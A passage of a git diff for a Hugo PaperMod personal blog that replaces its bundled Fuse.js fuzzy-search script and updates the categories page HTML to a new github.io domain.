+(()=>{var s,r,c,e={distance:1e3,iscasesensitive:!1,keys:["title","permalink","summary","content"],location:0,minmatchcharlength:0,shouldsort:!0,threshold:.4},n=document.getElementById("searchResults"),t=document.getElementById("searchInput"),a=null,o=!1;window.onload=function(){let t=new XMLHttpRequest;t.onreadystatechange=function(){if(t.readyState===4)if(t.status===200){{let n=JSON.parse(t.responseText);if(n){let t={distance:100,threshold:.4,ignoreLocation:!0,keys:["title","permalink","summary","content"]};e&&(t={isCaseSensitive:e.iscasesensitive??!1,includeScore:e.includescore??!1,includeMatches:e.includematches??!1,minMatchCharLength:e.minmatchcharlength??1,shouldSort:e.shouldsort??!0,findAllMatches:e.findallmatches??!1,keys:e.keys??["title","permalink","summary","content"],location:e.location??0,threshold:e.threshold??.4,distance:e.distance??100,ignoreLocation:e.ignorelocation??!0}),s=new Fuse(n,t)}}}else console.log(t.responseText)},t.open("GET","../index.json"),t.send()};function i(e){document.querySelectorAll(".focus").forEach(function(e){e.classList.remove("focus")}),e?(e.focus(),document.activeElement=a=e,e.parentElement.classList.add("focus")):document.activeElement.parentElement.classList.add("focus")}function l(){o=!1,n.innerHTML=t.value="",t.focus()}t.onkeyup=function(){if(s){let t;if(e?t=s.search(this.value.trim(),{limit:e.limit}):t=s.search(this.value.trim()),t.length!==0){let e="";for(let n in t)e+=`<li class="post-entry"><header class="entry-header">${t[n].item.title}&nbsp;\xBB</header><a href="${t[n].item.permalink}" aria-label="${t[n].item.title}"></a></li>`;n.innerHTML=e,o=!0,r=n.firstChild,c=n.lastChild}else o=!1,n.innerHTML=""}},t.addEventListener("search",function(){this.value||l()}),document.onkeydown=function(e){let d=e.key,s=document.activeElement,u=document.getElementById("searchbox").contains(s);if(s===t){let e=document.getElementsByClassName("focus");for(;e.length>0;)e[0].classList.remove("focus")}else a&&(s=a);if(d==="Escape")l();else if(!o||!u)return;else d==="ArrowDown"?(e.preventDefault(),s==t?i(n.firstChild.lastChild):s.parentElement!=c&&i(s.parentElement.nextSibling.lastChild)):d==="ArrowUp"?(e.preventDefault(),s.parentElement==r?i(t):s!=t&&i(s.parentElement.previousSibling.lastChild)):d==="ArrowRight"&&s.click()}})()
\ No newline at end of file
diff --git a/assets/js/search.4693619a4639bda022df6ac85ec0253d1f59ec7943649fd4a0fcafe8c61c46d1.js b/assets/js/search.4693619a4639bda022df6ac85ec0253d1f59ec7943649fd4a0fcafe8c61c46d1.js
deleted file mode 100644
index 50ee217d..00000000
--- a/assets/js/search.4693619a4639bda022df6ac85ec0253d1f59ec7943649fd4a0fcafe8c61c46d1.js
+++ /dev/null
@@ -1,19 +0,0 @@
-/**
- * Fuse.js v6.6.2 - Lightweight fuzzy-search (http://fusejs.io)
- *
- * Copyright (c) 2022 Kiro Risk (http://kiro.me)
- * All Rights Reserved. Apache Software License 2.0
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- */
-var e,t;e=this,t=function(){"use strict";function e(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function t(t){for(var n=1;n<arguments.length;n++){var r=null!=arguments[n]?arguments[n]:{};n%2?e(Object(r),!0).forEach((function(e){a(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):e(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}function n(e){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n(e)}function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function i(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function o(e,t,n){return t&&i(e.prototype,t),n&&i(e,n),Object.defineProperty(e,"prototype",{writable:!1}),e}function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function c(e){return function(e){if(Array.isArray(e))return s(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(e){if("string"==typeof e)return s(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?s(e,t):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function s(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function h(e){return Array.isArray?Array.isArray(e):"[object Array]"===g(e)}function u(e){return"string"==typeof e}function l(e){return"number"==typeof e}function d(e){return!0===e||!1===e||function(e){return function(e){return"object"===n(e)}(e)&&null!==e}(e)&&"[object Boolean]"==g(e)}function f(e){return null!=e}function v(e){return!e.trim().length}function g(e){return null==e?void 0===e?"[object Undefined]":"[object Null]":Object.prototype.toString.call(e)}var y="Extended search is not available",p=function(e){return"Pattern length exceeds max of ".concat(e,".")},m=Object.prototype.hasOwnProperty,b=function(){function e(t){var n=this;r(this,e),this._keys=[],this._keyMap={};var i=0;t.forEach((function(e){var t=k(e);i+=t.weight,n._keys.push(t),n._keyMap[t.id]=t,i+=t.weight})),this._keys.forEach((function(e){e.weight/=i}))}return o(e,[{key:"get",value:function(e){return this._keyMap[e]}},{key:"keys",value:function(){return this._keys}},{key:"toJSON",value:function(){return JSON.stringify(this._keys)}}]),e}();function k(e){var t=null,n=null,r=null,i=1,o=null;if(u(e)||h(e))r=e,t=M(e),n=w(e);else{if(!m.call(e,"name"))throw new Error(function(e){return"Missing ".concat(e," property in key")}("name"));var a=e.name;if(r=a,m.call(e,"weight")&&(i=e.weight)<=0)throw new Error(function(e){return"Property 'weight' in key '".concat(e,"' must be a positive integer")}(a));t=M(a),n=w(a),o=e.getFn}return{path:t,id:n,weight:i,src:r,getFn:o}}function M(e){return h(e)?e:e.split(".")}function w(e){return h(e)?e.join("."):e}var x={useExtendedSearch:!1,getFn:function(e,t){var n=[],r=!1;return function e(t,i,o){if(f(t))if(i[o]){var a=t[i[o]];if(!f(a))return;if(o===i.length-1&&(u(a)||l(a)||d(a)))n.push(function(e){return null==e?"":function(e){if("string"==typeof e)return e;var t=e+"";return"0"==t&&1/e==-1/0?"-0":t}(e)}(a));else if(h(a)){r=!0;for(var c=0,s=a.length;c<s;c+=1)e(a[c],i,o+1)}else i.length&&e(a,i,o+1)}else n.push(t)}(e,u(t)?t.split("."):t,0),r?n:n[0]},ignoreLocation:!1,ignoreFieldNorm:!1,fieldNormWeight:1},L=t(t(t(t({},{isCaseSensitive:!1,includeScore:!1,keys:[],shouldSort:!0,sortFn:function(e,t){return e.score===t.score?e.idx<t.idx?-1:1:e.score<t.score?-1:1}}),{includeMatches:!1,findAllMatches:!1,minMatchCharLength:1}),{location:0,threshold:.6,distance:100}),x),_=/[^ ]+/g;function S(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:3,n=new Map,r=Math.pow(10,t);return{get:function(t){var i=t.match(_).length;if(n.has(i))return n.get(i);var o=1/Math.pow(i,.5*e),a=parseFloat(Math.round(o*r)/r);return n.set(i,a),a},clear:function(){n.clear()}}}var O=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.getFn,i=void 0===n?L.getFn:n,o=t.fieldNormWeight,a=void 0===o?L.fieldNormWeight:o;r(this,e),this.norm=S(a,3),this.getFn=i,this.isCreated=!1,this.setIndexRecords()}return o(e,[{key:"setSources",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.docs=e}},{key:"setIndexRecords",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.records=e}},{key:"setKeys",value:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.keys=t,this._keysMap={},t.forEach((function(t,n){e._keysMap[t.id]=n}))}},{key:"create",value:function(){var e=this;!this.isCreated&&this.docs.length&&(this.isCreated=!0,u(this.docs[0])?this.docs.forEach((function(t,n){e._addString(t,n)})):this.docs.forEach((function(t,n){e._addObject(t,n)})),this.norm.clear())}},{key:"add",value:function(e){var t=this.size();u(e)?this._addString(e,t):this._addObject(e,t)}},{key:"removeAt",value:function(e){this.records.splice(e,1);for(var t=e,n=this.size();t<n;t+=1)this.records[t].i-=1}},{key:"getValueForItemAtKeyId",value:function(e,t){return e[this._keysMap[t]]}},{key:"size",value:function(){return this.records.length}},{key:"_addString",value:function(e,t){if(f(e)&&!v(e)){var n={v:e,i:t,n:this.norm.get(e)};this.records.push(n)}}},{key:"_addObject",value:function(e,t){var n=this,r={i:t,$:{}};this.keys.forEach((function(t,i){var o=t.getFn?t.getFn(e):n.getFn(e,t.path);if(f(o))if(h(o))!function(){for(var e=[],t=[{nestedArrIndex:-1,value:o}];t.length;){var a=t.pop(),c=a.nestedArrIndex,s=a.value;if(f(s))if(u(s)&&!v(s)){var l={v:s,i:c,n:n.norm.get(s)};e.push(l)}else h(s)&&s.forEach((function(e,n){t.push({nestedArrIndex:n,value:e})}))}r.$[i]=e}();else if(u(o)&&!v(o)){var a={v:o,n:n.norm.get(o)};r.$[i]=a}})),this.records.push(r)}},{key:"toJSON",value:function(){return{keys:this.keys,records:this.records}}}]),e}();function A(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=n.getFn,i=void 0===r?L.getFn:r,o=n.fieldNormWeight,a=void 0===o?L.fieldNormWeight:o,c=new O({getFn:i,fieldNormWeight:a});return c.setKeys(e.map(k)),c.setSources(t),c.create(),c}function j(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.errors,r=void 0===n?0:n,i=t.currentLocation,o=void 0===i?0:i,a=t.expectedLocation,c=void 0===a?0:a,s=t.distance,h=void 0===s?L.distance:s,u=t.ignoreLocation,l=void 0===u?L.ignoreLocation:u,d=r/e.length;if(l)return d;var f=Math.abs(c-o);return h?d+f/h:f?1:d}function E(){for(var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:L.minMatchCharLength,n=[],r=-1,i=-1,o=0,a=e.length;o<a;o+=1){var c=e[o];c&&-1===r?r=o:c||-1===r||((i=o-1)-r+1>=t&&n.push([r,i]),r=-1)}return e[o-1]&&o-r>=t&&n.push([r,o-1]),n}var I=32;function F(e){for(var t={},n=0,r=e.length;n<r;n+=1){var i=e.charAt(n);t[i]=(t[i]||0)|1<<r-n-1}return t}var C=function(){function e(t){var n=this,i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},o=i.location,a=void 0===o?L.location:o,c=i.threshold,s=void 0===c?L.threshold:c,h=i.distance,u=void 0===h?L.distance:h,l=i.includeMatches,d=void 0===l?L.includeMatches:l,f=i.findAllMatches,v=void 0===f?L.findAllMatches:f,g=i.minMatchCharLength,y=void 0===g?L.minMatchCharLength:g,p=i.isCaseSensitive,m=void 0===p?L.isCaseSensitive:p,b=i.ignoreLocation,k=void 0===b?L.ignoreLocation:b;if(r(this,e),this.options={location:a,threshold:s,distance:u,includeMatches:d,findAllMatches:v,minMatchCharLength:y,isCaseSensitive:m,ignoreLocation:k},this.pattern=m?t:t.toLowerCase(),this.chunks=[],this.pattern.length){var M=function(e,t){n.chunks.push({pattern:e,alphabet:F(e),startIndex:t})},w=this.pattern.length;if(w>I){for(var x=0,_=w%I,S=w-_;x<S;)M(this.pattern.substr(x,I),x),x+=I;if(_){var O=w-I;M(this.pattern.substr(O),O)}}else M(this.pattern,0)}}return o(e,[{key:"searchIn",value:function(e){var t=this.options,n=t.isCaseSensitive,r=t.includeMatches;if(n||(e=e.toLowerCase()),this.pattern===e){var i={isMatch:!0,score:0};return r&&(i.indices=[[0,e.length-1]]),i}var o=this.options,a=o.location,s=o.distance,h=o.threshold,u=o.findAllMatches,l=o.minMatchCharLength,d=o.ignoreLocation,f=[],v=0,g=!1;this.chunks.forEach((function(t){var n=t.pattern,i=t.alphabet,o=t.startIndex,y=function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},i=r.location,o=void 0===i?L.location:i,a=r.distance,c=void 0===a?L.distance:a,s=r.threshold,h=void 0===s?L.threshold:s,u=r.findAllMatches,l=void 0===u?L.findAllMatches:u,d=r.minMatchCharLength,f=void 0===d?L.minMatchCharLength:d,v=r.includeMatches,g=void 0===v?L.includeMatches:v,y=r.ignoreLocation,m=void 0===y?L.ignoreLocation:y;if(t.length>I)throw new Error(p(I));for(var b,k=t.length,M=e.length,w=Math.max(0,Math.min(o,M)),x=h,_=w,S=f>1||g,O=S?Array(M):[];(b=e.indexOf(t,_))>-1;){var A=j(t,{currentLocation:b,expectedLocation:w,distance:c,ignoreLocation:m});if(x=Math.min(A,x),_=b+k,S)for(var F=0;F<k;)O[b+F]=1,F+=1}_=-1;for(var C=[],N=1,P=k+M,W=1<<k-1,$=0;$<k;$+=1){for(var D=0,K=P;D<K;)j(t,{errors:$,currentLocation:w+K,expectedLocation:w,distance:c,ignoreLocation:m})<=x?D=K:P=K,K=Math.floor((P-D)/2+D);P=K;var T=Math.max(1,w-K+1),z=l?M:Math.min(w+K,M)+k,J=Array(z+2);J[z+1]=(1<<$)-1;for(var R=z;R>=T;R-=1){var U=R-1,B=n[e.charAt(U)];if(S&&(O[U]=+!!B),J[R]=(J[R+1]<<1|1)&B,$&&(J[R]|=(C[R+1]|C[R])<<1|1|C[R+1]),J[R]&W&&(N=j(t,{errors:$,currentLocation:U,expectedLocation:w,distance:c,ignoreLocation:m}))<=x){if(x=N,(_=U)<=w)break;T=Math.max(1,2*w-_)}}if(j(t,{errors:$+1,currentLocation:w,expectedLocation:w,distance:c,ignoreLocation:m})>x)break;C=J}var V={isMatch:_>=0,score:Math.max(.001,N)};if(S){var q=E(O,f);q.length?g&&(V.indices=q):V.isMatch=!1}return V}(e,n,i,{location:a+o,distance:s,threshold:h,findAllMatches:u,minMatchCharLength:l,includeMatches:r,ignoreLocation:d}),m=y.isMatch,b=y.score,k=y.indices;m&&(g=!0),v+=b,m&&k&&(f=[].concat(c(f),c(k)))}));var y={isMatch:g,score:g?v/this.chunks.length:1};return g&&r&&(y.indices=f),y}}]),e}(),N=[];function P(e,t){for(var n=0,r=N.length;n<r;n+=1){var i=N[n];if(i.condition(e,t))return new i(e,t)}return new C(e,t)}function W(e,t){var n=t.ignoreFieldNorm,r=void 0===n?L.ignoreFieldNorm:n;e.forEach((function(e){var t=1;e.matches.forEach((function(e){var n=e.key,i=e.norm,o=e.score,a=n?n.weight:null;t*=Math.pow(0===o&&a?Number.EPSILON:o,(a||1)*(r?1:i))})),e.score=t}))}function $(e,t){var n=e.matches;t.matches=[],f(n)&&n.forEach((function(e){if(f(e.indices)&&e.indices.length){var n={indices:e.indices,value:e.value};e.key&&(n.key=e.key.src),e.idx>-1&&(n.refIndex=e.idx),t.matches.push(n)}}))}function D(e,t){t.score=e.score}function K(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=n.includeMatches,i=void 0===r?L.includeMatches:r,o=n.includeScore,a=void 0===o?L.includeScore:o,c=[];return i&&c.push($),a&&c.push(D),e.map((function(e){var n=e.idx,r={item:t[n],refIndex:n};return c.length&&c.forEach((function(t){t(e,r)})),r}))}var T=function(){function e(n){var i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},o=arguments.length>2?arguments[2]:void 0;if(r(this,e),this.options=t(t({},L),i),this.options.useExtendedSearch)throw new Error(y);this._keyStore=new b(this.options.keys),this.setCollection(n,o)}return o(e,[{key:"setCollection",value:function(e,t){if(this._docs=e,t&&!(t instanceof O))throw new Error("Incorrect 'index' type");this._myIndex=t||A(this.options.keys,this._docs,{getFn:this.options.getFn,fieldNormWeight:this.options.fieldNormWeight})}},{key:"add",value:function(e){f(e)&&(this._docs.push(e),this._myIndex.add(e))}},{key:"remove",value:function(){for(var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:function(){return!1},t=[],n=0,r=this._docs.length;n<r;n+=1){var i=this._docs[n];e(i,n)&&(this.removeAt(n),n-=1,r-=1,t.push(i))}return t}},{key:"removeAt",value:function(e){this._docs.splice(e,1),this._myIndex.removeAt(e)}},{key:"getIndex",value:function(){return this._myIndex}},{key:"search",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.limit,r=void 0===n?-1:n,i=this.options,o=i.includeMatches,a=i.includeScore,c=i.shouldSort,s=i.sortFn,h=i.ignoreFieldNorm,d=u(e)?u(this._docs[0])?this._searchStringList(e):this._searchObjectList(e):this._searchLogical(e);return W(d,{ignoreFieldNorm:h}),c&&d.sort(s),l(r)&&r>-1&&(d=d.slice(0,r)),K(d,this._docs,{includeMatches:o,includeScore:a})}},{key:"_searchStringList",value:function(e){var t=P(e,this.options),n=this._myIndex.records,r=[];return n.forEach((function(e){var n=e.v,i=e.i,o=e.n;if(f(n)){var a=t.searchIn(n),c=a.isMatch,s=a.score,h=a.indices;c&&r.push({item:n,idx:i,matches:[{score:s,value:n,norm:o,indices:h}]})}})),r}},{key:"_searchLogical",value:function(e){throw new Error("Logical search is not available")}},{key:"_searchObjectList",value:function(e){var t=this,n=P(e,this.options),r=this._myIndex,i=r.keys,o=r.records,a=[];return o.forEach((function(e){var r=e.$,o=e.i;if(f(r)){var s=[];i.forEach((function(e,i){s.push.apply(s,c(t._findMatches({key:e,value:r[i],searcher:n})))})),s.length&&a.push({idx:o,item:r,matches:s})}})),a}},{key:"_findMatches",value:function(e){var t=e.key,n=e.value,r=e.searcher;if(!f(n))return[];var i=[];if(h(n))n.forEach((function(e){var n=e.v,o=e.i,a=e.n;if(f(n)){var c=r.searchIn(n),s=c.isMatch,h=c.score,u=c.indices;s&&i.push({score:h,key:t,value:n,idx:o,norm:a,indices:u})}}));else{var o=n.v,a=n.n,c=r.searchIn(o),s=c.isMatch,u=c.score,l=c.indices;s&&i.push({score:u,key:t,value:o,norm:a,indices:l})}return i}}]),e}();return T.version="6.6.2",T.createIndex=A,T.parseIndex=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.getFn,r=void 0===n?L.getFn:n,i=t.fieldNormWeight,o=void 0===i?L.fieldNormWeight:i,a=e.keys,c=e.records,s=new O({getFn:r,fieldNormWeight:o});return s.setKeys(a),s.setIndexRecords(c),s},T.config=L,T},"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).Fuse=t();
-;
-/*
-  PaperMod v7
-  License: MIT https://github.com/adityatelange/hugo-PaperMod/blob/master/LICENSE
-  Copyright (c) 2020 nanxiaobei and adityatelange
-  Copyright (c) 2021-2023 adityatelange
-*/
-
-;
-(()=>{var i,r,c,e={distance:1e3,iscasesensitive:!1,keys:["title","permalink","summary","content"],location:0,minmatchcharlength:0,shouldsort:!0,threshold:.4},n=document.getElementById("searchResults"),t=document.getElementById("searchInput"),a=null,s=!1;window.onload=function(){let t=new XMLHttpRequest;t.onreadystatechange=function(){if(t.readyState===4)if(t.status===200){{let n=JSON.parse(t.responseText);if(n){let t={distance:100,threshold:.4,ignoreLocation:!0,keys:["title","permalink","summary","content"]};e&&(t={isCaseSensitive:e.iscasesensitive??!1,includeScore:e.includescore??!1,includeMatches:e.includematches??!1,minMatchCharLength:e.minmatchcharlength??1,shouldSort:e.shouldsort??!0,findAllMatches:e.findallmatches??!1,keys:e.keys??["title","permalink","summary","content"],location:e.location??0,threshold:e.threshold??.4,distance:e.distance??100,ignoreLocation:e.ignorelocation??!0}),i=new Fuse(n,t)}}}else console.log(t.responseText)},t.open("GET","../index.json"),t.send()};function o(e){document.querySelectorAll(".focus").forEach(function(e){e.classList.remove("focus")}),e?(e.focus(),document.activeElement=a=e,e.parentElement.classList.add("focus")):document.activeElement.parentElement.classList.add("focus")}function l(){s=!1,n.innerHTML=t.value="",t.focus()}t.onkeyup=function(){if(i){const e=i.search(this.value.trim());if(e.length!==0){let t="";for(let n in e)t+=`<li class="post-entry"><header class="entry-header">${e[n].item.title}&nbsp;\xBB</header><a href="${e[n].item.permalink}" aria-label="${e[n].item.title}"></a></li>`;n.innerHTML=t,s=!0,r=n.firstChild,c=n.lastChild}else s=!1,n.innerHTML=""}},t.addEventListener("search",function(){this.value||l()}),document.onkeydown=function(e){let d=e.key,i=document.activeElement,u=document.getElementById("searchbox").contains(i);if(i===t){let e=document.getElementsByClassName("focus");for(;e.length>0;)e[0].classList.remove("focus")}else a&&(i=a);if(d==="Escape")l();else if(!s||!u)return;else d==="ArrowDown"?(e.preventDefault(),i==t?o(n.firstChild.lastChild):i.parentElement!=c&&o(i.parentElement.nextSibling.lastChild)):d==="ArrowUp"?(e.preventDefault(),i.parentElement==r?o(t):i!=t&&o(i.parentElement.previousSibling.lastChild)):d==="ArrowRight"&&i.click()}})()
\ No newline at end of file
diff --git a/categories/index.html b/categories/index.html
index c1ce8c63..8640ff68 100644
--- a/categories/index.html
+++ b/categories/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Categories | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Categories"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Categories"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span class=active>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><h1>Categories</h1></header><ul class=terms-tags><li><a href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/>学习 <sup><strong><sup>45</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/>技术 <sup><strong><sup>37</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/>默认 <sup><strong><sup>36</sup></strong></sup></a></li></ul></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Categories | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Categories"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta 